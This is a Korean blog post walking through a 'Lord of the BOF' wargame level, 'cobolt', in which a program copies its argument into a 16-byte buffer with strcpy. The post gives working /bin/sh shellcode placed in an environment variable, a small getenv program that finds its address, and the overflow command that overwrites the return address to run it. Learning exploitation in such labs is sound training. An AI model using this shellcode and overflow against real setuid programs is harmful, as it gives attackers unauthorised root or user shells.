2011. 6. 2. 02:24

⊙ 문제의 소스를 보자)

[gremlin@localhost gremlin]$ cat cobolt.c

/*

The Lord of the BOF : The Fellowship of the BOF

- cobolt

- small buffer

*/

   

int main(int argc, char *argv[])

{

char buffer[16];

if(argc < 2){

printf("argv error\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ [LEVEL1]과 틀려진 거라곤 버퍼 크기가 작아진 것 밖에 없습니다.

+ 따라서 환경변수에 셸코드를 올려놓고, RET주소를 해당 환경변수로 합니다.


   

대략적인 구성은 LEVEL1과 같으므로 바로 바로 셸코드를 환경변수에 올려봅시다.

1) 셸코드를 환경변수로....

①셸코드를 환경변수로 올리기 전에 우리가 사용되는 메모리 공간을 봅시다.

[해당 원문 참조]

   

② 우리가 셸코드를 올리게 되는 곳이 저 스택영역 안에 환경변수가 사용되는 메모리 공간입니다.

Environment

여기에 셸코드 삽입.

Arguments

argv

argc

RET

우리가 셸코드를 올린 해당 환경변수 주소.

EBP

쓰레기값

buffer[16]

쓰레기값

...[중략]...

  

   

② 그럼 일단 올려보고 확인해 봅시다.

export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

+ env 명령으로 해당 환경변수를 확인할수 있습니다.

  


   

2) 환경변수 주소를 알아보자!

① C언어 getenv()를 이용하자.
#include <stdio.h>

   

int main(int argc, char *argv[]) {

printf ("%p\n", getenv(argv[1]));

return 0;

}

   

② 해당소스를 컴파일

# gcc getenv.c -o getenv

   

③ 전체 경로의 파일이름 길이가 같아야 정확한 해당주소를 받아 올 수 있으므로

해당 cobolt 바이너리 파일과 같은 위치에 있도록 하자. (이름 길이도 같음)

④ 만든 getenv를 이용하여 올린 셸코드의 주소를 알아내자.

[gremlin@localhost gremlin]$ ./getenv SHCODE

0xbfffff03


   

3) 공격문 작성

buffer[16]

EBP[4]

RET[4]

가비지값

가비지값

셸코드가 올라가 있는 해당 환경 변수 주소

./cobolt $(python -c 'print "D"*20 + "\x03\xff\xff\xbf"')

완료!!


   

*미리 chsh로 /bin/bash2로 변경 해놓음.

gremlin : "hello bof world"

Posted by devanix